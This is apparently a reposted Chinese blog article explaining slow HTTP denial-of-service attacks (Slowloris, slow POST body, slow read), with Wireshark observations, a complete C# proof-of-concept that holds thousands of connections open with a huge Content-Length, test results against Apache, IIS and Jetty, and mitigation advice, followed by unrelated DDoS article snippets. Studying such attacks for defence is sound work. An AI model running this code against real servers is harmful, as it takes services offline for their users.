http get post 慢速攻击

提起攻击,第一反应就是海量的流量、海量的报文。但有一种攻击却反其道而行之,以慢著称,以至于有些攻击目标被打死了都不知道是怎么死的,这就是慢速连接攻击。

slowhttptest是一款对服务器进行慢攻击的测试软件,包含了几种攻击方式,像Slowloris、SlowHTTP POST、Slow Read attack等。

总而言之,该工具的原理就是设法让服务器等待,当服务器在保持连接等待时,就消耗了资源。

1、 最具代表性的是rsnake发明的Slowloris,又被称为slow headers。

【攻击原理】

HTTP协议规定,HTTP Request以\r\n\r\n(0d0a0d0a)结尾表示客户端发送结束,服务端开始处理。那么,如果永远不发送\r\n\r\n会如何?Slowloris就是利用这一点来做DDoS攻击的。攻击者在HTTP请求头中将Connection设置为Keep-Alive,要求Web Server保持TCP连接不要断开,随后缓慢地每隔几分钟发送一个key-value格式的数据到服务端,如a:b\r\n,导致服务端认为HTTP头部没有接收完成而一直等待。如果攻击者使用多线程或者傀儡机来做同样的操作,服务器的Web容器很快就被攻击者占满了TCP连接而不再接受新的请求。

【工具演示】

用Wireshark抓包查看http请求头中有随机的key-value键值对,如下图红圈所示,且http请求头结尾不完整,是“0d 0a”

如果是正常的http请求头,结尾是“0d0a 0d 0a”,正常结束客户端请求 如下图所示

2、Slowloris的变种--Slow HTTP POST,也称为Slow body。 

【攻击原理】

在POST提交方式中,允许在HTTP的头中声明content-length,也就是POST内容的长度。

在提交了头以后,将后面的body部分卡住不发送,这时服务器在接受了POST长度以后,就会等待客户端发送POST的内容,攻击者保持连接并且以10S-100S一个字节的速度去发送,就达到了消耗资源的效果,因此不断地增加这样的链接,就会使得服务器的资源被消耗,最后可能宕机。

    【工具演示】 

用Wireshark抓包可以看到,header结尾是正常的“0d 0a 0d 0a”,但Content-Length字段设置为一个很大的值8192,同时不在一个包中发送完整post数据而是每间隔100秒发送随机的key-value键值对。

3、Slow Read attack

【攻击原理】

采用调整TCP协议中的滑动窗口大小,来对服务器单次发送的数据大小进行控制,使得服务器需要对一个回应分成很多个包来发送。要使这种攻击效果更加明显,请求的资源要尽量大。

【工具演示】

 用Wireshark抓包可以看出,当请求a.wmv资源(大小有9M多)时,客户端windowssize被刻意设置为1152字节。客户端缓冲区在被来自服务器的数据填满后,发出了[TCP ZeroWindow]告警,迫使服务端等待。

 

受到以上各种慢速攻击后,服务器再无法访问

1. 关于HTTP POST慢速DOS攻击

HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上,由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。他们的slides在这里:

http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

这个攻击的基本原理如下:

针对任意HTTP Server,建立一个连接,指定一个比较大的content-length,然后以很低的速度发包,比如10-100s发一个字节,hold住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将很快被占满,从而导致DOS.

这一攻击引起我注意的原因有这几点:

1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的,所以即使你的Web应用没有可用form表单,这个攻击一样有效。

2. 廉价。在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server,将是致命的打击。更不用说结合肉鸡群做分布式DOS了。

2. 攻击示范

为演示这个攻击,我做了一个简单的POC,C#代码如下。

[csharp] view plain copy

  1. using System;  
  2. using System.Collections.Generic;  
  3. using System.Text;  
  4. using System.Net.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace HTTPPostDoS  
  8. {  
  9.     class TestDemo  
  10.     {  
  11.         static void Main(string[] args)  
  12.         {  
  13.             string host = "target";  
  14.             int port = 8080;  
  15.             int max_number_of_connection = 3000;  
  16.             List<TcpClient> clients = new List<TcpClient>();  
  17.   
  18.             for (int i = 0; i < max_number_of_connection; i++)  
  19.             {  
  20.                 TcpClient client = new TcpClient();  
  21.                 clients.Add(client);  
  22.                 client.Connect(host, port);  
  23.   
  24.                 if (client.Connected)  
  25.                 {  
  26.                     string header = "POST /a HTTP/1.1\r\n" +  
  27.                                     "HOST: " + host + "\r\n" +  
  28.                                     "Connection: keep-alive\r\n" +  
  29.                                     "Keep-Alive: 900\r\n" +  
  30.                                     "Content-Length: 100000000\r\n" +  
  31.                                     "Content_Type: application/x-www-form-urlencoded\r\n" +  
  32.                                     "Accept: *.*\r\n";  
  33.                     int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));  
  34.                     if (sent <= 0)  
  35.                     {  
  36.                         Console.WriteLine("Error while connecting to server");  
  37.                     }  
  38.                     else  
  39.                     {  
  40.                         Console.WriteLine("Connected");  
  41.                     }  
  42.                 }  
  43.             }  
  44.   
  45.             while (true)  
  46.             {  
  47.                 int i = 0;  
  48.                 foreach (TcpClient client in clients)  
  49.                 {  
  50.                     i++;  
  51.                     client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));  
  52.                     Console.WriteLine("Client " + i + " just sent a byte.");  
  53.                 }  
  54.                 Thread.Sleep(1000);  
  55.             }  
  56.         }  
  57.     }  
  58. }  

这段代码向目标服务器的示例Web Server发起攻击,每秒钟向服务器post一个字节以保证连接不会过期。

这个攻击对Apache的效果十分明显,Apache的maxClients几乎在瞬间被hold住,浏览器在攻击进行期间无法访问测试页面。

但是针对IIS的攻击被证明没有效果,同时我还测试了公司使用最多的Jetty,有了更多有意思的发现。

3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应

在针对Jetty做测试时,我发现针对不同的Jetty Connector配置,攻击的效果有天壤之别。

我们知道Jetty在配置Connector时,可以有NIO和BIO两种模式供选择。当使用BIO模式时,Jetty的max thread被瞬间耗尽,服务停止。但是在使用NIO模式时,即使客户端的恶意socket连接数已经达到3000个,但是服务依然没有受到任何影响。这个应该很好理解,由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚,但是猜测MS在实现时采用了NIO Socket模型。

详细的配置情况,请参见Jetty的官方文档

其它的Web Server,我没有做进一步测试。如有兴趣请自行验证。

4. 检测与防范

目前针对Apache服务器,官方尚没有解决方案出台。建议:

1. 检查日志,查找类似的错误报警:

[error] server reached MaxClients setting, consider raising the MaxClients setting

看看有没有被这种攻击盯上。

2. 调整防火墙设置。有条件的,在IPS上做一下规则设置。

注意这些都还只是暂时措施,因为这种攻击的变化可能很多,事实上使用HTTP GET也可以达到一样的效果。要知道GET也是可以传输数据的。

针对Jetty服务器,强烈建议使用NIO非阻塞模式,对服务器可以起到很好的保护作用。

相关阅读:

1. New HTTP POST DDoS Attack Tools Released

2. Wong Onn Chee 和Tom Brennan的Paper

3. Using HTTP POST for denial of service

 

补充1:我的同事,Active安全经理Eric Zhong和应用安全工程师Vian Ma对此文有贡献,谨此致谢

补充2:凤凰网的孙立先生指出,微软的IIS实现了完成端口(IOCP),IO效率相当高。这解释了为何此攻击对IIS无效。

原文地址:http://www.unclejoey.com/2010/12/28/http-post%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB%E5%88%9D%E6%8E%A2/

时间: 2024-09-12 06:23:39

http get post 慢速攻击的相关文章

2016 上半年 DDoS 攻击峰值破纪录,8 成为缓速攻击

由信息安全公司Arbor Network统计的信息安全报告,2016年上半年期间全球DDoS峰值记录突破了新高--突破了之前的500Gbps(2015年底)达到了 579Gbps.报告还指出,尽管此期间DDoS攻击的峰值速率突破了新高,但在此期间每起攻击的平均值下降至986Mbps,这意味着部署DDoS攻击 缓速硬件设施的企业都能抵御大部分攻击. Arbor声称2016上半年几乎有80%的DDoS攻击为缓速-低量攻击,其中大部分规模为小型和中型攻击,仅有超过46起攻击超过了200Gbps,274

学习手册:浅析DDoS的攻击及防御

现如今,信息技术的发展为人们带来了诸多便利,无论是个人社交行为,还是商业活动都开始离不开网络了.但是网际空间带来了机遇的同时,也带来了威胁,其中DDoS就是最具破坏力的攻击,通过这些年的不断发展,它已经成为不同组织和个人的攻击,用于网络中的勒索.报复,甚至网络战争. 文章目录 先聊聊DDoS的概念和发展 啥叫"拒绝服务"攻击呢? 啥叫"分布式"呢? 啥叫"僵尸网络"呢? DDoS的发展咋样? 再谈谈DDoS的攻击方式 也说说DDoS的攻击工具 L

学习手册:DDoS的攻击方式及防御手段

现如今,信息技术的发展为人们带来了诸多便利,无论是个人社交行为,还是商业活动都开始离不开网络了.但是网际空间带来了机遇的同时,也带来了威胁,其中DDoS就是最具破坏力的攻击,通过这些年的不断发展,它已经成为不同组织和个人的攻击,用于网络中的勒索.报复,甚至网络战争. 先聊聊DDoS的概念和发展 在说发展之前,咱先得对分布式拒绝服务(DDoS)的基本概念有个大体了解. 啥叫"拒绝服务"攻击呢? 其实可以简单理解为:让一个公开网站无法访问.要达到这个目的的方法也很简单:不断地提出服务请求,

深入浅出DDoS攻击防御——攻击篇

1.   DDoS攻击基础 DDoS(Distributed Denial of Service,分布式拒绝服务)攻击的主要目的是让指定目标无法提供正常服务,甚至从互联网上消失,是目前最强大.最难防御的攻击之一. 按照发起的方式,DDoS可以简单分为三类. 第一类以力取胜,海量数据包从互联网的各个角落蜂拥而来,堵塞IDC入口,让各种强大的硬件防御系统.快速高效的应急流程无用武之地.这种类型的攻击典型代表是ICMP Flood和UDP Flood,现在已不常见. 第二类以巧取胜,灵动而难以察觉,每

2015上半年 DDoS 威胁报告:过百G流量攻击多!

雷锋网8月20日消息,绿盟科技今日发布了<2015年上半年DDoS威胁报告>.报告显示,2015 年上半年DDoS攻击存在两极分化的态势,大流量攻击不断增长(>100G的攻击有33起)并开始走向云端,小流量攻击(1分钟以下42.74%) 变身脉冲及慢速攻击,主要针对行业业务特性.在此背景下,攻击流量呈现混合化,并以UDP混合流量为主(72%). 具体来说,大流量攻击呈现增长的趋势之下,过百G的攻击越来越多:此外大流量攻击在游戏行业中加剧,尤以UDP攻击常见.小流量方面,小流量快攻击变身脉

深入分析DDoS攻击防御的原理

1. DDoS攻击基础DDoS(Distributed Denial of Service,分布式拒绝服务)攻击的主要目的是让指定目标无法提供正常服务,甚至从互联网上消失,是目前最强大.最难防御的攻击之一. 按照发起的方式,DDoS可以简单分为三类. 第一类以力取胜,海量数据包从互联网的各个角落蜂拥而来,堵塞IDC入口,让各种强大的硬件防御系统.快速高效的应急流程无用武之地.这种类型的攻击典型代表是ICMP Flood和UDP Flood,现在已不常见. 第二类以巧取胜,灵动而难以察觉,每隔几分

Radware:2016年夏季奥运会将会成为黑客的攻击目标

随着2016年夏季奥运会的日益临近,网络团体将注意力转向了受体育赛事吸引的人群和为众多赛事服务的网络环境.届时,预计将破纪录的逾50万的游客将莅临里约热内卢.由于2016年夏季奥运会有可能成为有史以来最易受到攻击的体育赛事之一,因此,如此庞大的连接需求将给服务提供商带来极大的安全挑战,并为网络犯罪分子提供可乘之机. 通过部署用以窃取个人信息的恶意软件,网络犯罪分子们将集中于身份窃取上.那些可以提高观众体验的科技也带来了一定的挑战.互联网服务提供商(ISP).赞助商.在线商店.赌博网站.酒店,甚至

解读DNS攻击:未来网络安全威胁的定时炸弹

摘要: 2013年DDOS攻击瞄准DNS 2013年3月18日,国际反垃圾邮件组织网站Spamhaus开始遭受DDoS攻击,到3月27日,攻击流量峰值已经达到300Gbps,成为史上最大DDoS攻击.该次攻击造成欧洲地区的网络拥塞 2013年DDOS攻击瞄准DNS 2013年3月18日,国际反垃圾邮件组织网站Spamhaus开始遭受DDoS攻击,到3月27日,攻击流量峰值已经达到300Gbps,成为史上最大DDoS攻击.该次攻击造成欧洲地区的网络拥塞.本次攻击的入口就是DNS.攻击者借助现网数量

开放式DNS服务器是定时炸弹

2013年3月18日,国际反垃圾邮件组织网站Spamhaus开始遭受DDoS攻击,到3月27日,攻击流量峰值已经达到300Gbps,成为史上最大DDoS攻击.该次攻击造成欧洲地区的网络拥塞.本次攻击的入口就是DNS.攻击者借助现网数量庞大的开放DNS服务器,采用DNS反射攻击将攻击流量轻松放大100倍.这种利用开放式DNS服务器进行放大式的DDOS攻击证明:DNS安全漏洞大.而开放DNS服务器在互联网上数目庞大,远不止3万台,即针对DNS的攻击可以大到出乎你想象. 开放式DNS服务器是定时炸弹